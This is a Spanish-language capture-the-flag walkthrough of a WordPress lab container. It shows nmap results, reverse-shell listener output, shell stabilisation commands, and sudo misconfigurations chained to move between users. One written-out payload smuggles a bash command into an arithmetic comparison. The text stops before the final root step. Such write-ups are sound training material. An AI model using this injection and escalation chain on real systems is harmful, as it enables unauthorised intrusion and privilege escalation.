Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-20 11:53 EST
Nmap scan report for 172.17.0.2
Host is up (0.000029s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-generator: WordPress 6.5.5
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: Master
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.57 seconds
Si vamos a la pagina web, veremos una pagina normal, pero si nos vamos al footer veremos lo siguiente:
Created by Master 2024 && Automated By wp-automatic 3.92.0
Vemos que esta utilizando worpress y esto puede ser un plugin, que encima nos confirma con una version en especifico, por lo que si buscamos algun exploit asociado a dicho plugin, podremos encontrar el siguiente exploit.
Ahora tendremos que pulsar en Update File, veremos que nos da un error, pero si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.60.128] from (UNKNOWN) [172.17.0.2] 48182
whoami
www-data
Vemos que hemos obtenido acceso como el usuario www-data, pero antes sanitizaremos la shell.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user pylon
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for www-data on 0563443ab229:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User www-data may run the following commands on 0563443ab229:
(pylon) NOPASSWD: /usr/bin/php
Vemos que podemos ejecutar el binario php como el usuario pylon, por lo que haremos lo siguiente:
Matching Defaults entries for pylon on 0563443ab229:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User pylon may run the following commands on 0563443ab229:
(mario) NOPASSWD: /bin/bash /home/mario/pingusorpresita.sh
Vemos que podemos ejecutar el binario bash junto con el script .sh como el usuario mario por lo que vamos a ver que contiene el script.
No podremos leerlo, pero vemos lo que parece ser una copia de ese script en esta ubicacion:
cat /home/pylon/pylonsorpresita.sh
Info:
#!/bin/bash
read -rp "Escribe 1 para ver el canal de pylon: " num
if [[ $num -eq 1 ]]
then
echo "https://www.youtube.com/@Pylonet"
else
echo "Ingresa el 1"
fi
Vemos que puede contener una vulnerabilidad en esta linea:
if [[ $num -eq 1 ]]
Por lo que podremos hacer lo siguiente:
sudo -u mario bash /home/mario/pingusorpresita.sh
test[$(/bin/bash >&2)]+1
Info:
mario@0563443ab229:/home/pylon$ whoami
mario
Y con esto seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for mario on 0563443ab229:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mario may run the following commands on 0563443ab229:
(root) NOPASSWD: /bin/bash /home/pylon/pylonsorpresita.sh
Vemos que podemos ejecutar lo mismo de antes, pero esta vez como el usuario root, por lo que haremos lo siguiente: